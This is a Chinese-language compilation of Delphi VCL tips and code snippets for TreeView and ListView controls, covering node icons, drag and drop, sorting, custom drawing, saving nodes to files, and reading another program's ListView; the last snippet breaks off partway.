三。设置TreeView结点的图形

1. 设置TreeView的images属性为已存在的images对象

treeview1.images:=imagelist1;

2. 在加入结点后执行：

var

anode:TTreeNode;

begein

anode:=Treeview1.add(nil,'item1');

anode.imageindex:=0; {结点未选中时显示的图标}

anode.selectedindex:=1; {结点选中时显示的图标}

end

3. 如果结点图形在改变后未发生变化，可以执行：

treeview1.refresh;

四。如何批量处理TreeView结点

使用TreeView的items属性的BeginUpdate和EndUpdate方法，例：

TreeView1.items.BeginUpdate;

for i:=0 to TreeView1.items.count-1 do

begin

//将每个结点的文字改成为小写字母

TreeView1.items[i].text:=lowercase(TreeView1.items[i].text);

end;

TreeView1.items.EndUpdate;

五。实现TreeView结点拖拽的实例

下面的程序片段演示了如何实现拖拽treeview构件结点的例子

{鼠标按下时执行的语句}

procedure TForm1.Treeview1MouseDown(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

{判断左键按下并且鼠标点在一个结点上开始实现拖拽}

if ( Button = mbLeft ) and

( htOnItem in Treeview1.GetHitTestInfoAt( X, Y ) ) then

begin

Treeview1.BeginDrag( False );

end;

end;

{鼠标拖动执行语句}

procedure TForm1.Treeview1DragOver( Sender, Source: TObject;

X, Y: Integer; State: TDragState; var Accept: Boolean);

var

Node : TTreeNode;

begin

if Source = Treeview1 then

begin

Node := Treeview1.GetNodeAt( X, Y ); {取当前结点}

if Node <> nil then {当前结点不为空才能实现拖拽，accept:=true}

Accept := true;

end;

end;

{鼠标释放时执行的语句}

procedure TForm1.Treeview1DragDrop( Sender, Source: TObject;

X, Y : Integer );

var

TempNode : TTreeNode;

AttachMode : TNodeAttachMode;

begin

if Treeview1.Selected = nil then

Exit;

AttachMode := naAddChild; {设置结点移动模式，设移动结点为子结点}

{ 注意在这里存在一个bug,当移动结点时，如果目标结点没有子结点，}

{ 则加入的新的子结点会失败，所以先在当前目标结点的下面 }

{ 加入一个临时子结点，移动完毕后，再将临时结点删除 }

Treeview1.Items.BeginUpdate;

try

TempNode := Treeview1.Items.AddChild( Treeview1.DropTarget,

'Temp' );

try

{ 移动选中的结点到目标结点 }

Treeview1.Selected.MoveTo( Treeview1.DropTarget, AttachMode );

finally

TempNode.Free; { 不要忘了释放临时结点 }

end;

finally

Treeview1.Items.EndUpdate;

end;

end;


tree view 节点遍历

var

i;integer;

xx:TListItem;

begin

for i:=1 to Listview1.Items.count-1

begin

xx:=ListView.Items.Item[i];

//process xx here

end;

end;

用Node.Absoluteindex属性即可！


鼠标在那个节点上！(treeview)
function GetNodeAt(X, Y: Integer): TTreeNode;


复制，移动TreeView节点

procedure AddSubTree(DestTree: TTreeView; SourceNode, DestNode: TTreeNode; AddState: Boolean);

var

TempNode, TempNode1: TTreeNode;

I : integer;

begin

TempNode := DestNode;

with DestTree do begin

if Not (AddState) then TempNode := Items.AddChild(DestNode, sourceNode.Text);

if SourceNode.HasChildren then begin

for I := 0 to SourceNode.Count-1 do begin

if I>0 then

TempNode := Items.AddChild(TempNode.Parent, SourceNode.Item[I].Text)

else

TempNode := Items.AddChild(TempNode, SourceNode.Item[I].Text);

AddSubTree(DestTree, SourceNode.Item[I], TempNode, True);

end;

end;

end;

end;

procedure MoveSubTreeView(SourceTreeView, DestTreeView: TTreeView; Keep: Boolean);

var

TempLevel, TempIndex : integer;

I, J : integer;

TempNode : array of TTreeNode;

TempNode1 : TTreeNode;

Yes_No : Boolean;

OldOnChanging, OldOnChanging1 : TTVChangingEvent;

OldOnChange, OldOnChange1 : TTVChangedEvent;

IsSelected : TTreeNode;

begin

OldOnChanging := DestTreeView.OnChanging;

DestTreeView.OnChanging := Nil;

OldOnChange := DestTreeView.OnChange;

DestTreeView.OnChange := Nil;

OldOnChanging1 := SourceTreeView.OnChanging;

SourceTreeView.OnChanging := Nil;

OldOnChange1 := SourceTreeView.OnChange;

SourceTreeView.OnChange := Nil;

IsSelected := SourceTreeView.Selected;

TempLevel := SourceTreeView.Selected.Level;

setlength(TempNode, TempLevel+1);

Yes_No := False;

TempNode1 := Nil;

TempIndex := FindNode(DestTreeView, SourceTreeView.Selected.Text);

if TempIndex>-1 then begin

DestTreeView.Items[TempIndex].Delete;

end;

with SourceTreeView do begin

TempNode[TempLevel] := Selected;

if TempLevel>0 then

for I := TempLevel-1 downto 0 do begin

TempNode[I] := TempNode[I+1].Parent;

end;

end;

with DestTreeView.Items do begin

if Count>0 then begin

for I := TempLevel downto 0 do

for J := Count-1 downto 0 do begin

if (TempNode[I].Text=DestTreeView.Items[J].Text) and (TempNode1=Nil) then begin

if I=Templevel then Yes_no := True;

TempNode1 := DestTreeView.Items[J];

end;

end;

end;

if TempNode1=Nil then

for I := 0 to TempLevel-1 do begin

TempNode1 := AddChild(TempNode1, TempNode[I].Text);

end

else

for I := TempNode1.Level+1 to TempLevel-1 do begin

TempNode1 := AddChild(TempNode1, TempNode[I].Text);

end;

end;

AddSubTree(DestTreeView, IsSelected, TempNode1, False);//Yes_No);

if (Not (Keep)) then begin

if (IsSelected.Parent<>Nil) and (IsSelected.Parent.Count<1) then

IsSelected.Parent.Delete

else

IsSelected.Delete;

end;

DestTreeView.SortType := stData;

DestTreeView.OnChanging := OldOnChanging;

DestTreeView.OnChange := OldOnChange;

SourceTreeView.OnChanging := OldOnChanging1;

SourceTreeView.OnChange := OldOnChange1;

end;


TreeView上的节点连同其关联的对象的保存

保存对象要稍难一些，因为在TreeNode中只存了个指针，除非TreeNode.Data是一个能用流操作的对象。如果是这样：（简单示范）

var

s1: TFileStream;

s2: TMemoryStream;

nCount, i: Inteter;

procedure CopyStream( sSrc, sDest: TStream );

begin

nCount := sSrc.Size;

sDest.Write( nCount, sizeof(nCount) ); // 请写入字节数

sDest.CopyFrom( sSrc, 0 ); // 写入TreeView的内容，第二个参数为0表示全部复制

sSrc.Size := 0; // 清掉以前数据

end;

begin

s2 := TMemoryStream.Create;

// 保存到文件

s1 := TFileStream.Create( '文件名', fmCreate );

TreeView.SaveToStream( s2 );

CopyStream( s2, s1 );

// 下面写入TreeNode的Data

for i:=0 to TreeView.Items.Count-1 do

begin

if Assigned(TreeView.Items[i].Data) then

begin

s2.Write( i, sizeof(i) ); // 保存序号，如果你有更好标识方法，可以代替

TYourDataClass(TreeView.Items[i].Data).SaveToStream( s2 ); // TYourDataClass只是假定的名字

CopyStream( s2, s1 );

end;

end;

s1.Free; // 在Free之前它会保存的

// 从文件读取

s1 := TFileStream.Create( '文件名', fmOpenRead );

s1.ReadBuffer( nCount, sizeof(nCount) );

s2.CopyFrom( s1, nCount );

TreeView.LoadFromStream( s2 );

// 下面读入TreeNode的Data

while s1.Position<s1.Size do

begin

s1.ReadBuffer( i, sizeof(i) );

s1.ReadBuffer( nCount, sizeof(nCount) );

s2.CopyFrom( s1, nCount );

TreeView.Items[i].Data := TYourDataClass.Create; // 当然，可能Create调用格式是另外的

TYourDataClass(TreeView.Items[i].Data).LoadFromStream( s2 );

end;

s1.Free;

s2.Free;

这个例子不一定能满足你的要求，不过至少你可以参考一下。因为在你的程序里，可能TreeView.Items[i].Data还有别的变量指着。但你可以变化一下。比如倒着赋值。

******************

我曾经这样来记录我的TREEVIEW，不知道和你的想法是否一致：

{伪代码}

{假设表中有一个TREEVIEW,这里定义一个结构做为节点关联的DATA}

type PitemData=^TItemData;

TItemData=record

caption:string;

data:integer;

end;

----------------------------------------

建树的过程:

循环:

新建一个PITEMDATA的指针,

为指针的域赋值,

新建一个节点,

节点的DATA=新指针,

保存文件的过程:

创建一个新文件:

得到当前树节点的最顶层节点数,向文件中写节点数,开始循环节点数,遍历每个节点

然后向文件中分别写入是否有子节点,有多少个子节点,每个节点下指针的数据.根据层次的增加可能会使用递归(类似于读目录树一样)将所有数据写入文件.

------------------------------------

导入文件的过程:

打开相应文件,

依照上面保存的方法得到树结构节点数,然后使用导入数的过程,为它们分配指针,填充适当的数据.

记住:在程序退出时,要记得释放为每一个节点分配的指针.其实这个做法和TREEVIEW的SAVETOFILE差不多,但是是以二进制保存,而且相当于使用一个自己定义结构的数据表.

这个虽然不是依照上面意思所做的工作,但是有些类似.

他简单在层次固定,数据格式固定,但是如果要修改,照上面的结构也很容易,如果你愿意告诉我你想记录你的什么样的树图,我可以写源码给你.

//这一段是把文件读出,形成树

procedure TForm1.Button3Click(Sender: TObject);

Var

F:Integer;

i,j:integer;

CurrentNode:TTreeNode;

ChildNode:TTreeNode;

ChildCount:integer;

Nowx,Nowy:integer;

begin

TreeView1.Items.Clear ;

F:=FileOpen('main.RGN',fmOpenRead);

if F<0 then exit;

FileRead(F,RegionCount,sizeof(integer));

for i:=1 to RegionCount do begin

FileRead(F,childcount,sizeof(integer));

//这一段是记录树的数据.

procedure TForm1.Button2Click(Sender: TObject);

Var

F:Integer;

i,j:integer;

CurrentNode:TTreeNode;

ChildNode:TTreeNode;

ChildCount:integer;

begin

F:=FileCreate('main.RGN');

if F<0 then exit;

Filewrite(F,RegionCount,sizeof(integer));

CurrentNode:=TreeView1.Items.GetFirstNode;

for i:=1 to RegionCount do begin

Childcount:=currentNode.Count ;

Filewrite(F,ChildCount,sizeof(integer));

FileWrite(F,PPoint(CurrentNode.data)^.x,sizeof(integer));

FileWrite(F,PPoint(CurrentNode.data)^.y,sizeof(integer));

ChildNode:=CurrentNode.getFirstChild ;

for j:=0 to CurrentNode.Count-1 do begin

fileWrite(F,PPoint(ChildNode.data)^.x,sizeof(integer));

FileWrite(F,PPoint(ChildNode.data)^.y,sizeof(integer));

ChildNode:=childNode.getNextSibling;

end;

CurrentNode:=CurrentNode.getNextSibling ;

end;

FileClose(F);

end;

Fileread(F,Nowx,sizeof(integer));

FileRead(F,Nowy,sizeof(integer));

CurrentNode:=TreeView1.Items.Add(nil,format('x:%d,y:%d',[Nowx,nowy]));

for j:=0 to ChildCount-1 do begin

Fileread(F,Nowx,sizeof(integer));

FileRead(F,Nowy,sizeof(integer));

childNode:=TreeView1.items.Addchild(CurrentNode,format('x:%d,y:%d',[Nowx,nowy]));

end;

end;

FileClose(F);

end;


ListView如何排序

像资源管理器那样对Subitem的内容进行排序。

最好自己来控制排序，如下所示：

function CustomSortProc( Item1, Item2 : TListItem; lParam : LongInt ) : Integer; stdcall;

begin

if lParam >= 0 then //lParam中保存的是SubItem的Index

begin

result := -CompareText(Item1.SubItems.Strings[lParam],

Item1.SubItems.Strings[lParam] );

end else

result := 0;

end;

在ListView的ColumnClick事件响应方法中输入

CustomSort(@CustomSortProc, Column.Index );


ListView & TreeView 的绘制

ListView & TreeView 的绘制：

procedure TForm1.ListView1CustomDrawItem(Sender: TCustomListView;

Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);

var

p:trect;

begin

if cdsselected in state then

begin

listview1.Canvas.Font.Color:=clgreen;

listview1.Canvas.brush.Color:=clred;

p:=item.displayrect(drselectbounds);

listview1.Canvas.FillRect(p);

listview1.Canvas.Textout(p.Left+2,p.Top,item.Caption);

listview1.Canvas.brush.Color:=clblue;

listview1.Canvas.FrameRect(item.displayrect(drselectbounds));

defaultdraw:=false;

end;

end;


Treeview自动展开显示所有节点

var

lnNode: TTreeNode;

begin

lnNode := TreeView1.Items.GetFirstNode;

while not (lnNode = nil) do begin

lnNode.Expand(False);

lnNode := lnNode.GetNextSibling;

end;

end;


如何知道Treeview,Listview当前最上面显示的节点

其实就是怎样才能自由控制列表框当前的可视范围

listbox的TopIndex是当前显示窗口第一行，

treeview.TopItem

控制它就可以显示你加入的内容


节点被选中时显示的图形

请问在Delphi中怎样在程序中设定Treeview的一个节点被选中时显示的图形？

Var Node:TTreeNode

begin

Node := TreeView1.Items.Add;

Node.ImageIndex := 0; //正常图标

Node.SelectedIndex := 1; //选定图标

end;

在OnGetSelectedIndex，OnGetimageIndex事件中设置 Node.ImageIndex


监测ListView的CheckBox点击

下面的代码都有BUG，就是如果用Space来Check Box,那么，不会有效果！

请在ListView的OnMouseUp中设置：

procedure TForm1.ListView1MouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var

Item: TListItem;

HitTest: THitTests;

begin

// Which item belongs to the checkbox

Item := ListView1.GetItemAt(x, y);

// What kind of thing was hit on the item

HitTest := ListView1.GetHitTestInfoAt(x, y);

// If an Item was hit and exactly his checkbox

if (Item <> nil) and (HitTest = [htOnStateIcon]) then

begin

////////////////////////////////

// Handle OnCheck here //

////////////////////////////////

// Example

//

// if Item.Checked = False then

// begin

// if (Item.Index = 0) or (ListView1.Items.Item[Item.Index - 1].Checked = True) then

// Item.Checked := True else Item.Checked := False;

// end else

// begin

// if (Item.Index = ListView1.Items.Count - 1) or (ListView1.Items.Item[Item.Index + 1].Checked = False) then Item.Checked := False else

// Item.Checked := True;

// end;

end;

end;

*********************************

也可以用下面的代码，放在TreeView的OnChange事件中：

var

Item : TListItem;

Pos : TPoint;

begin

if Item.Checked then

............

end;


在DragDrop的时候，滚动TreeView

在DragDrop的时候，滚动TreeView？

procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;

State: TDragState; var Accept: Boolean);

begin

if (y < 15) then {On the upper edge - should scroll up }

SendMessage(TreeView1.Handle, WM_VSCROLL, SB_LINEUP, 0)

else if (TreeView1.Height - y < 15) then { On the lower edge - should scroll down }

SendMessage(TreeView1.Handle, WM_VSCROLL, SB_LINEDOWN, 0);

end;


捕获ListView的列改变大小事件

capture a column resize event in a TListView?

下面这个控件可以做到：

{

Question:

How do I capture a column resize event in TListView, the OnResize

only works when the ListView is changed?

Answer:

The event can be added with a bit of work. See the custom TListview derivative

below. It has 3 new events:

OnColumnResize, OnBeginColumnResize, OnEndColumnResize

}

unit PBExListview;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, ComCtrls;

type

TLVColumnResizeEvent = procedure(Sender: TCustomListview;

columnindex: Integer;

columnwidth: Integer) of object;

TPBExListview = class(TListview)

private

FBeginColumnResizeEvent: TLVColumnResizeEvent;

FEndColumnResizeEvent: TLVColumnResizeEvent;

FColumnResizeEvent: TLVColumnResizeEvent;

protected

procedure DoBeginColumnResize(columnindex, columnwidth: Integer);

virtual;

procedure DoEndColumnResize(columnindex, columnwidth: Integer);

virtual;

procedure DoColumnResize(columnindex, columnwidth: Integer);

virtual;

procedure WMNotify(var Msg: TWMNotify); message WM_NOTIFY;

function FindColumnIndex(pHeader: pNMHdr): Integer;

function FindColumnWidth(pHeader: pNMHdr): Integer;

procedure CreateWnd; override;

published

property OnBeginColumnResize: TLVColumnResizeEvent

read FBeginColumnResizeEvent write FBeginColumnResizeEvent;

property OnEndColumnResize: TLVColumnResizeEvent

read FEndColumnResizeEvent write FEndColumnResizeEvent;

property OnColumnResize: TLVColumnResizeEvent

read FColumnResizeEvent write FColumnResizeEvent;

end;

procedure Register;

implementation

uses CommCtrl;

procedure Register;

begin

RegisterComponents('PBGoodies', [TPBExListview]);

end;

procedure TPBExListview.DoBeginColumnResize(columnindex, columnwidth: Integer);

begin

if Assigned(FBeginColumnResizeEvent) then

FBeginColumnResizeEvent(Self, columnindex, columnwidth);

end;

procedure TPBExListview.DoEndColumnResize(columnindex, columnwidth: Integer);

begin

if Assigned(FEndColumnResizeEvent) then

FEndColumnResizeEvent(Self, columnindex, columnwidth);

end;

procedure TPBExListview.DoColumnResize(columnindex, columnwidth: Integer);

begin

if Assigned(FColumnResizeEvent) then

FColumnResizeEvent(Self, columnindex, columnwidth);

end;

function TPBExListview.FindColumnIndex(pHeader: pNMHdr): Integer;

var

hwndHeader : HWND;

iteminfo : THdItem;

ItemIndex : Integer;

buf : array[0..128] of Char;

begin

Result := -1;

hwndHeader := pHeader^.hwndFrom;

ItemIndex := pHDNotify(pHeader)^.Item;

FillChar(iteminfo, SizeOf(iteminfo), 0);

iteminfo.Mask := HDI_TEXT;

iteminfo.pszText := buf;

iteminfo.cchTextMax := SizeOf(buf) - 1;

Header_GetItem(hwndHeader, ItemIndex, iteminfo);

if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then

Result := ItemIndex

else

begin

for ItemIndex := 0 to Columns.Count - 1 do

if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then

begin

Result := ItemIndex;

Break;

end;

end;

end;

procedure TPBExListview.WMNotify(var Msg: TWMNotify);

begin

inherited;

case Msg.NMHdr^.code of

HDN_ENDTRACK:

DoEndColumnResize(FindColumnIndex(Msg.NMHdr),

FindColumnWidth(Msg.NMHdr));

HDN_BEGINTRACK:

DoBeginColumnResize(FindColumnIndex(Msg.NMHdr),

FindColumnWidth(Msg.NMHdr));

HDN_TRACK:

DoColumnResize(FindColumnIndex(Msg.NMHdr),

FindColumnWidth(Msg.NMHdr));

end;

end;

procedure TPBExListview.CreateWnd;

var

wnd : HWND;

begin

inherited;

wnd := GetWindow(Handle, GW_CHILD);

SetWindowLong(wnd, GWL_STYLE,

GetWindowLong(wnd, GWL_STYLE) and not HDS_FULLDRAG);

end;

function TPBExListview.FindColumnWidth(pHeader: pNMHdr): Integer;

begin

Result := -1;

if Assigned(PHDNotify(pHeader)^.pItem) and

((PHDNotify(pHeader)^.pItem^.mask and HDI_WIDTH) <> 0) then

Result := PHDNotify(pHeader)^.pItem^.cxy;

end;

end.


ListView在XP下的一个AV BUG

...prevent your application from raising a AV with TListView under XP?

Author: Thomas Stutz

{

The TListView with a vsReport style causes an access violation

when you run your project with a XP manifest resource.

The VCL wrapper has a bug and you must patch sources.

Just copy the comctrls.pas unit in the folder with your own

project and modify the UpdateColumn method.

After compiling the project, a comctrls.dcu is created

and you can replace the original comctrls.dcu with the

patched one.

}

// ComCtrls.pas:

procedure TCustomListView.UpdateColumn(AnIndex: Integer);

{...}

with Column, Columns.Items[AnIndex] do

begin

{ PATCH start:}

// mask := LVCF_TEXT or LVCF_FMT or LVCF_IMAGE;

mask := LVCF_TEXT or LVCF_FMT;

if FImageIndex >= 0 then

mask := mask or LVCF_IMAGE;

{ PATCH :end }

{...}

end;


ListView的自定义排序

...sort a TListView using the CustomSort method?

{

This example shows how to use the TListView's CustomSort method to

sort the items in the list using a ordering function.

This allows you to sort custom data in the correct order you want.

When the user clicks on a column header, the ListView will be sorted

by that column.

If the user clicks on the same column again, the sort order will be toggled.

}

{ custom sort styles }

type

TCustomSortStyle = (cssAlphaNum, cssNumeric, cssDateTime);

var

{ variable to hold the sort style }

LvSortStyle: TCustomSortStyle;

{ array to hold the sort order }

LvSortOrder: array[0..4] of Boolean; // High[LvSortOrder] = Number of Lv Columns

implementation

{$R *.DFM}

function CustomSortProc(Item1, Item2: TListItem; SortColumn: Integer): Integer; stdcall;

var

s1, s2: string;

i1, i2: Integer;

r1, r2: Boolean;

d1, d2: TDateTime;

{ Helper functions }

function IsValidNumber(AString : string; var AInteger : Integer): Boolean;

var

Code: Integer;

begin

Val(AString, AInteger, Code);

Result := (Code = 0);

end;

function IsValidDate(AString : string; var ADateTime : TDateTime): Boolean;

begin

Result := True;

try

ADateTime := StrToDateTime(AString);

except

ADateTime := 0;

Result := False;

end;

end;

function CompareDates(dt1, dt2: TDateTime): Integer;

begin

if (dt1 > dt2) then Result := 1

else

if (dt1 = dt2) then Result := 0

else

Result := -1;

end;

function CompareNumeric(AInt1, AInt2: Integer): Integer;

begin

if AInt1 > AInt2 then Result := 1

else

if AInt1 = AInt2 then Result := 0

else

Result := -1;

end;

begin

Result := 0;

if (Item1 = nil) or (Item2 = nil) then Exit;

case SortColumn of

-1 :

{ Compare Captions }

begin

s1 := Item1.Caption;

s2 := Item2.Caption;

end;

else

{ Compare Subitems }

begin

s1 := '';

s2 := '';

{ Check Range }

if (SortColumn < Item1.SubItems.Count) then

s1 := Item1.SubItems[SortColumn];

if (SortColumn < Item2.SubItems.Count) then

s2 := Item2.SubItems[SortColumn]

end;

end;

{ Sort styles }

case LvSortStyle of

cssAlphaNum : Result := lstrcmp(PChar(s1), PChar(s2));

cssNumeric : begin

r1 := IsValidNumber(s1, i1);

r2 := IsValidNumber(s2, i2);

Result := ord(r1 or r2);

if Result <> 0 then

Result := CompareNumeric(i1, i2);

end;

cssDateTime : begin

r1 := IsValidDate(s1, d1);

r2 := IsValidDate(s2, d2);

Result := ord(r1 or r2);

if Result <> 0 then

Result := CompareDates(d1, d2);

end;

end;

{ Sort direction }

if LvSortOrder[SortColumn + 1] then

Result := - Result;

end;

{ The ListView's OnColumnClick event }

procedure TForm1.ListView1ColumnClick(Sender: TObject; Column: TListColumn);

begin

{ determine the sort style }

if Column.Index = 0 then

LvSortStyle := cssAlphaNum

else

LvSortStyle := cssNumeric;

{ Call the CustomSort method }

ListView1.CustomSort(@CustomSortProc, Column.Index -1);

{ Set the sort order for the column}

LvSortOrder[Column.Index] := not LvSortOrder[Column.Index];

end;


ListView的Title的双击事件

add a double-click event to the header of a Listview？

{

MS did not see fit to send a notification to the listview when the user

Double - clicks on the header. But the header control class does have the

CS_DBLCLKS Style, so it does get WM_LBUTTONDBLCLK messages, it just does

not do anything with them. To get at these messages requires API - Style

subclassing of the header control.

}

uses commctrl;

function HeaderProc(wnd: HWND; Msg: Cardinal; wParam: wParam; lParam: lParam): Longint;

stdcall;

var

hti: THDHitTestInfo;

begin

Result := CallWindowProc(Pointer(GetWindowLong(wnd, GWL_USERDATA)),

wnd, Msg, wParam, lParam);

if Msg = WM_LBUTTONDBLCLK then

begin

FillChar(hti, SizeOf(hti), 0);

hti.Point := SmallPointToPoint(TSmallPoint(lParam));

if SendMessage(wnd, HDM_HITTEST, 0, Longint(@hti)) >= 0 then

if hti.Flags = HHT_ONHEADER then

// would usually send a custom notification to GetParent(wnd) here

Form1.Memo1.Lines.Add(Format('doubleclick on header item %d', [hti.Item]));

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

wnd: HWND;

buffer: array [0..80] of Char;

oldProc: Integer;

begin

wnd := GetWindow(Listview1.Handle, GW_CHILD);

if wnd <> 0 then

begin

Windows.GetClassname(wnd, buffer, SizeOf(buffer));

memo1.Text := buffer;

if (GetClassLong(wnd, GCL_STYLE) and CS_DBLCLKS) <> 0 then

begin

Memo1.Lines.Add('Has doubleclicks style');

oldproc := GetWIndowLong(wnd, GWL_WNDPROC);

if GetWindowLong(wnd, GWL_USERDATA) <> 0 then

raise Exception.Create('Cannot sublcass header, USERDATA already in use');

SetWIndowLong(wnd, GWL_USERDATA, oldproc);

SetWindowLong(wnd, GWL_WNDPROC, Integer(@HeaderProc));

end;

end

else

Memo1.Text := 'No child';

end;


check if a TreeView is fully expanded or collapsed

check if a TreeView is fully expanded or collapsed?

function IsTreeviewFullyExpanded(tv: TTreeview): Boolean;

var

Node: TTreeNode;

begin

Assert(Assigned(tv));

if tv.Items.Count > 0 then

begin

Node := tv.Items[0];

Result := True;

while Result and Assigned(Node) do

begin

Result := Node.Expanded or not Node.HasChildren;

Node := Node.GetNext;

end; {While}

end {If}

else

Result := False

end;

function IsTreeviewFullyCollapsed(tv: TTreeview): Boolean;

var

Node: TTreeNode;

begin

Assert(Assigned(tv));

if tv.Items.Count > 0 then

begin

Node := tv.Items[0];

Result := True;

while Result and Assigned(Node) do

begin

Result := not (Node.Expanded and Node.HasChildren);

Node := Node.GetNext;

end; {While}

end {If}

else

Result := False

end;


ListView中添加ProgressBar

create a TProgressBar in a TListView column?

procedure TForm1.Button1Click(Sender: TObject);

var

r: TRect;

pb: TProgressBar;

begin

Listview1.Columns.Add.Width := 100;

Listview1.Columns.Add.Width := 200;

Listview1.ViewStyle := vsReport;

Listview1.Items.Add.Caption := 'Text';

r := Listview1.Items[0].DisplayRect(drBounds);

r.Left := r.Left + Listview1.columns[0].Width;

r.Right := r.Left + Listview1.columns[1].Width;

pb := TProgressBar.Create(Self);

pb.Parent := Listview1;

pb.BoundsRect := r;

pb.Position := 30;

Listview1.Items[0].Data := pb;

end;

// Change the ProgressBar Position

// ProgressBar Position ?ndern

procedure TForm1.Button2Click(Sender: TObject);

var

pb: TProgressBar;

begin

pb := TProgressBar(Listview1.Items[0].Data);

pb.StepIt;

end;


TreeView的粗体字结点

show bold nodes in TTreeview component？

uses

CommCtrl;

procedure SetNodeBoldState(Node: TTreeNode; Value: Boolean);

var

TVItem: TTVItem;

begin

if not Assigned(Node) then Exit;

with TVItem do

begin

mask := TVIF_STATE or TVIF_HANDLE;

hItem := Node.ItemId;

stateMask := TVIS_BOLD;

if Value then state := TVIS_BOLD

else

state := 0;

TreeView_SetItem(Node.Handle, TVItem);

end;

end;

// Example: Make the first node bold.

// Beispiel: Erster Eintrag fett machen.

procedure TForm1.Button1Click(Sender: TObject);

begin

SetNodeBoldState(TreeView1.Items[0], True);

end;


create colored rows in a TListView?

create colored rows in a TListView?

procedure TForm1.ListView1CustomDrawItem(Sender: TCustomListView;

Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);

begin

with ListView1.Canvas.Brush do

begin

case Item.Index of

0: Color := clYellow;

1: Color := clGreen;

2: Color := clRed;

end;

end;

end;


search for text in a TListview?

// Call FindCaption Method to search for a list view item labeled by the

// string specified as the Value parameter

// Die Methode FindCaption gibt ein Element der Listenansicht mit der

// angegebenen Beschriftung zurück, wenn ein solches existiert.

// Syntax:

function FindCaption(StartIndex: Integer; Value: string;

Partial, Inclusive, Wrap: Boolean): TListItem;

// Example, Beispiel:

procedure TForm1.Button1Click(Sender: TObject);

var

lvItem: TListItem;

begin

lvItem := ListView1.FindCaption(0, // StartIndex: Integer;

'99', // Search string: string;

True, // Partial,

True, // Inclusive

False); // Wrap : boolean;

if lvItem <> nil then

begin

ListView1.Selected := lvItem;

lvItem.MakeVisible(True);

ListView1.SetFocus;

end;

end;

// To search for a list view subitem (also for items), use this function:

// Funktion, um auch Subitems zu durchsuchen:

{

Search for text in a listview item

@Param lv is the listview, supposed to be in vaReport mode

@Param S is the text to search for

@Param column is the column index for the column to search , 0-based

@Returns the found listview item, or Nil if none was found

@Precondition lv nil, lv in report mode if column 0, S not empty

@Desc The search is case-insensitive and will only match on the

complete column content. Use AnsiContainsText instead of AnsiCompareText

to match on a substring in the columns content.

Created 14.10.2001 by P. Below

}

function FindListViewItem(lv: TListView; const S: string; column: Integer): TListItem;

var

i: Integer;

found: Boolean;

begin

Assert(Assigned(lv));

Assert((lv.viewstyle = vsReport) or (column = 0));

Assert(S <> '');

for i := 0 to lv.Items.Count - 1 do

begin

Result := lv.Items[i];

if column = 0 then

found := AnsiCompareText(Result.Caption, S) = 0

else if column > 0 then

found := AnsiCompareText(Result.SubItems[column - 1], S) = 0

else

found := False;

if found then

Exit;

end;

// No hit if we get here

Result := nil;

end;

// Example call:

// Beispielaufruf:

procedure TForm1.Button1Click(Sender: TObject);

var

lvItem: TListItem;

begin

// Search subitem[0] for text from edit1

// in der Spalte subitem[0] den Text aus Edit1 suchen

lvItem := FindListViewItem(ListView1, Edit1.Text, 1);

// if found, then show the item

// falls item gefunden, dann anzeigen

if lvItem <> nil then

begin

ListView1.Selected := lvItem;

lvItem.MakeVisible(True);

ListView1.SetFocus;

end;

end;

// Function to search items and select if found

// Funktion, um Items zu suchen unda falls gefunden, sie danach markieren

procedure LV_FindAndSelectItems(lv: TListView; const S: string; column: Integer);

var

i: Integer;

found: Boolean;

lvItem: TListItem;

begin

Assert(Assigned(lv));

Assert((lv.ViewStyle = vsReport) or (column = 0));

Assert(S <> '');

for i := 0 to lv.Items.Count - 1 do

begin

lvItem := lv.Items[i];

if column = 0 then

found := AnsiCompareText(lvItem.Caption, S) = 0

else if column > 0 then

begin

if lvItem.SubItems.Count >= Column then

found := AnsiCompareText(lvItem.SubItems[column - 1], S) = 0

else

found := False;

end

else

found := False;

if found then

begin

lv.Selected := lvItem;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

lvItem: TListItem;

begin

// in der Spalte subitem[0] den Text aus Edit1 suchen

LV_FindAndSelectItems(ListView1, Edit1.Text, 1);

ListView1.SetFocus;

end;


Return the String Path in a TTreeView?

Return the String Path in a TTreeView?

{*---------------------------------------------

Parent Text

---------------------------------------------*}

function SrNodeTree(pTreeNode: TTreeNode; var sRuta: string): string;

begin

sRuta := pTreeNode.Text + ' > ' + sRuta;

if pTreeNode.Level = 0 then Result := sRuta

else

Result := SrNodeTree(pTreeNode.Parent, sRuta);

end;

{*---------------------------------------------

Click an Item

---------------------------------------------*}

procedure TForm1.TreeView1Click(Sender: TObject);

var

sPath: string;

begin

label1.Caption := SrNodeTree(TreeView1.Selected, sPath);

end;


禁止TreeView的ToolTip

procedure TForm1.FormShow(Sender: TObject);

const

TVS_NOTOOLTIPS = $0080;

begin

SetWindowLong(Treeview1.Handle, GWL_STYLE,

GetWindowLong(TreeView1.Handle, GWL_STYLE) xor TVS_NOTOOLTIPS);

end;


如何抓取外部的ListView？

Q：我想抓取外部的程序的Listview，并在自己的程序中写出来，怎么做？我用ListView_GetItem进行获取，可是不能获取数据，而且出现AV错误？

A：原因在于，ListView_GetItem读取和写入数据的时候，它必须访问本进程内的内存才会正常工作，如果不是本进程内地数据，就会发生AV错误。因此我们必须用特殊的方式分配内存。附件中的例子，就很好的演示了如何或取其他程序中的ListView。

运行程序，用鼠标指向一个ListView控件，然后按F12，回到程序，你就会发现，ListView已经被抓下来了。

zswang:

获取不同进程ListView的内容～～

(*//

标题:获取不同进程ListView的内容

说明:适用于WindowsNT

日期:2003-02-27

设计:Zswang

//*)

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ComCtrls;

type

TForm1 = class(TForm)

MemoText: TMemo;

EditCount: TEdit;

LabelNote: TLabel;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

procedure WMHOTKEY(var Msg: TWMHOTKEY); message WM_HOTKEY;

public

